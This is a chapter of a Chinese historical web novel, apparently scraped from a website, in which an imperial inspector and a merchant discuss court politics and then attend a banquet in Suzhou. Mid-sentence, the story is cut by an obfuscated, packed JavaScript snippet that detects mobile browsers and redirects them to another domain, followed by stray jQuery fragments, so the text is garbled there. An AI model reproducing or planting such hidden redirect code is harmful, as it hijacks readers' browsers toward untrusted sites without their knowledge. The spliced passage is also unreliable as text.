林凡安说这句话的时候,语气仍是一如既往地平静,温和。


    就像是在谈论着什么无关紧要的事情一样一般,宛如一片落叶飘落到水面上,泛起些许涟漪。


    有点波动,但不多。


    但卢点雪毕竟不同于他。


    乍一听到这个消息的时候,她的大脑里只有一片空白。


    随之而来的,是逐渐浮上心头的迷茫和难以置信。


    然而林凡安并未给她发问的机会。


    "且不提京里发生的动乱,这个消息我原本没打算告诉你,毕竟今晚的这场宴席注定不会太平,我不想你因此而乱了分寸。"


    林凡安言简意赅,顺势观望着卢点雪的神色变化,


    "不过之后我们或许并未有多少可单独见面的机会,所以我还是决定告知于你,好提早做个准备吧。"


    "多谢提醒,"卢点雪闭上眼,深吸一口气,随后缓缓吐出,"什么时候传来的消息?江南这边还有旁人知晓吗?"


    "怕是基本都知道了,"


    林凡安缓缓地点了点头,沉声道,


    “毕竟史德法之所以能擅离职守私自上京,没少靠江南各级官员的掩护和打点。他这一回来,纵然外头没走漏风声,江南这些人估计也知道得差不多了。我想,八成今晚他们就会趁着这个机会来拉拢你对抗阉党。"


    "拉拢我?怕是我刚准备跟他们要银子修水利,这些人就要翻脸了。"


    只听卢点雪冷哼一声,复又睁开双眼,斜斜一睥林凡安,满眼净是凛然之意,


    "说来也真是好笑,挑唆民变的事我还没找你们算账,你们反倒自己找上门来了?”


    "俗话说人在屋檐下,不得不低头,"林凡安略微颔首,颇为敷衍地拱了拱手,"何况草民这不是担心卢巡按困溺于虚妄中而着了相,这才冒着被发现的风险来通风报信嘛。"


    "不是吧?莫非你真的是以为我是因孙隆的那几句话而神思恍惚?云降心,你未免也太小瞧人了。学了这么久的心学,难道我就真如此不堪一击?"


    话说着,卢点雪从袖中掏出一封书信,递给林凡安,将他先前说过的话原封不动地还回来,


    "原本我也没打算给你看的,毕竟是朝廷发给我的。不过一物抵一物,也让你瞧瞧吧,免得你之后乱了方寸,好提早做些准备。"


    "……卢巡按这话说的,未免太小心眼了些。"


    林凡安无奈摇头,顺势接过。


    未想就读着读着,他的神色顷刻间就变得严肃起来。


    "这不是朝廷的公文,而是司礼监单独给你的,赵除佞这是何意?"


    "还不是让我重审孙隆那件事,"


    卢点雪嗤笑一声,语气颇为不屑,


    “民变平息后,我呈给朝廷的供词,是来自那目睹黄建节征税惨遭毒打的卖瓜小贩。想来是这位督公对此不满,却又不能明着说,就这么语焉不详地打回来让我重审此案。"


    "那你肯定没审,就这么拖着了。"


    林凡安不假思索地下了定论。


    他屈起手指,有意无意地敲击着桌面,略微蹙眉,


    "但这终究不是个办法,万一你要是真因此触怒了赵除佞,这可如何是好?要知道,如今的他可谓是一手遮天,就连内阁也不能撼动他半分。"


    "这也是我最近愁眉不展的原因。不过,有一点你提醒了我——"


    卢点雪起身,大步流星地走出去,朗声道,


    "既然苦苦思索反着净相,倒不如见机行事,坦然面之,不知我这可算是行而未知?"


    "那也不一定,"林凡安点点头,微微一笑,“真知即为行,须在事上练,不是吗?"


    *


    顾老府上。


    虽然是做好了心里准备,但在李平进门的一刹那,还是被府上繁华的场景给震慑到了。


    他的脚步不由自主地停下,心中不免打起退堂鼓。


    然而这个念头刚浮上来,就被卢点雪看穿并无情地制止。


    "舒和兄,当初咱们不是在寒山寺里说好了吗?无论如何,绝不退缩!"


    卢点雪一把抓住李平的衣袖,悄悄附耳低语道。


    "话是这么说的,可邓知县和林凡安没告诉我会有这么多人呐!"


    李的平面上仍竭力保持着一个得体的表情,可他略微颤抖的语气却暴露了他极度慌乱的内心。


    他话音刚落,门口就传来了下人通报的声音:


    “两淮巡盐御史,何裘何大人到——!"


    "他怎么也来了?"


    卢点雪有些意外,未曾想过会在苏州碰见此人。


    "两淮盐运司上上下下都被他整治得差不多,他也是该来江南各地收缴盐税了。"


    李平倒是见怪不怪,煞有其事地点点头。


    不过在听到何裘的到来后,他反倒是长舒了一口气。


    “听闻此次何御史巡盐大有成效,备受盐商和朝廷信赖,可谓是江南一带的红人儿。我还真挺好奇,他是如何既不得罪盐商又能收来这么多银子的?”


    不怪卢点雪疑惑,实在是她对何裘先前的事迹着实印象不佳。


    “你可别因朱丸案那事小瞧他!那纯属是个意外,何御史的本事可大了呢。”


    李平的头摇得跟拨浪鼓似的,为卢点雪详细说明道,“何御史通过小盐法来疏销盐引壅积的问题。减轻盐斤,稍增引目,以多销积引,一则宽恤商人,二则疏通引目,效果着实显著。”


    “其次,他还向朝廷议减开中,恢复常股存积之分,七分常股照常开中,而存积三分,暂行停止。又于陕西等三边开引种盐,使引目减少,商皆趋之,让内商支盐加快的同时又不使边商之引不售,令边商内商各得其愿。”【1】


    “难怪之前你敢借他的名号吓唬邓知县,这政绩确实令人叹为观止。”


    卢点雪感叹道。


    不过这话李平并未听见,因为他正好与何裘打了个照面,得过去寒暄一番。


    待与何裘打过招呼后,李平便折回卢点雪的身边,满怀期冀地问道:


    "既然何御史也来了,那我是不是可以让他和你代为转达一下本府的意思?澄怀你是知道的,我向来不太擅长应酬这些场面……反正我们大家都是一伙的,对吧?"


    "你想得美,"卢点雪毫不留情地打断了他的幻想,"不然我就以巡按御史的身份写一份弹劾你玩忽职守的奏疏,待何御史回京述职后,让他亲自交到季尚书到手中。"


    "这不太合适吧,"李平一下子漏了气儿,悻悻道,"万一我太过紧张,中途出了岔子怎么办?"


    "没有关系,我想这些苏州士绅还是会给你这位知府一点面子的,不至于当面取笑你。"


    卢点雪沉声道,继而像是想起了什么,恨铁不成钢地问道,


    "你当初为我接风的时候不是还好好的吗,怎么现在竟如此畏惧应酬?这不是越活越过去了?"


    "不是,"李平弱弱解释道,"那是因为当时各地知县都齐刷刷地跟我表示他们有事来不了,迫于无奈,只能让我为新任巡按御史接风洗尘。还好最后澄怀你是只身一人前来的,不然我还不知道该怎么和旁人客套才是……"


    "嗬,没想到舒和兄在苏州也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022741|154964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么受待见……怎么说我俩也算是难兄难妹,有什么事我与你共进退。"


    卢点雪同病相怜地拍了拍李平的肩以示宽慰。


    她好言相劝了半天,才终于让李平鼓足勇气,迈进人声鼎沸的花厅中。


    宴席上的场景甚为热闹,宾朋满座、觥筹交错。


    这热烈得有些过了头的气息,就连卢点雪也略微有些不适。


    面对着一堆全然陌生的面孔,她虽不如李平那般拘谨,但也仍有些不自在,尤其是无时无刻都需要假笑这一点。


    平生第一次,她有种脸都快笑僵了的感觉。


    趁着旁人都去恭维问候李平李知府的时候,卢点雪终于能够松口气,眼角余光悄悄地打量着四周的环境。


    李平被围得根本看不见人,情况不明;林凡安也没闲着,在厅内一隅,故弄玄虚地讲着经商之道。


    不过,除了她一人,似乎还另有旁人在暗中注视着林凡安。


    卢点雪顺着目光望去。


    定睛一瞧,她不免有些诧异。


    此人看林凡安做甚?


    还未等卢点雪反应过来,那道目光的主人已敏锐地察觉到了卢点雪的视线。


    "卢巡按,久仰久仰。"


    何裘朝着卢点雪微微一笑,点了点头。


    不过这幅笑容在卢点雪看来,似乎有些勉强。


    像是为了掩盖什么,不待卢点雪回话,何裘则率先开口询问道,


    "在下见那位富商颇有来头,卢巡按可知那位是谁?"


    "林凡安,扬州泰兴人士,主营茶叶。"


    卢点雪瞅了一样林凡安,心念一转,如实回道。


    同时,她也正不动声色地,细细打量着何裘。


    果不其然,在何裘听到林凡安的名字和籍贯后,面色有了一些细微的变化。


    然而就在她说到"主营茶叶"时,他的神情似乎有些困惑。


    不过这缕困惑转瞬即逝,被何裘掩盖得很好,转而以一种恍然大悟的模样出现在面上:


    "原来如此,他的名头我在扬州也曾听闻过,如今倒是瞧见正主了。"


    "在下也是如此心情,真是百闻不如一见。晚辈也曾听父亲讲过,何御史尚为泰兴知县时就与家父有所交情。如今您又贵为巡盐御史,真是可喜可贺啊。"


    不知何时,林凡安走了过来,接过何裘的话头。


    何裘先是一愣,半晌才回过神来,讪讪一笑,


    "竟是故人之子,时隔多年,我竟没瞧出来。"


    随后二人开始攀谈,叙叙旧,聊起了盐政。


    卢点雪对盐政一窍不通,也没这个兴趣去深入了解,便一边有一搭没一搭地听着,一边观察着二人的神色。


    何裘的模样瞧着有些勉为其难,而林凡安更是反常。


    一个素来不喜与人交往过密的人,竟强拉着何裘一起侃侃而谈,全无要结束的意思。


    卢点雪只觉新奇,正暗自思忖着这何裘是不是和林凡安曾有过什么过节,忽觉背后有一目光正灼灼地盯着她。


    她回头一看,竟是此次宴席的主人,顾老先生。


    面对卢点雪的回视,顾老浑然不觉尴尬,自然而然地略抬下颌,点头示意。


    瞧这架势,在场所有人的一举一动,他全看在眼内。


    又是一个难对付的老狐狸。


    卢点雪心中暗骂一声,面上却仍端着一副假笑。


    她随即离开何裘与林凡安身边,去人群中把早已是手忙脚乱的李平给捞了出来,一同朝着顾老走去。


    这宴席还未开场就已如此热闹,还真是令人头疼。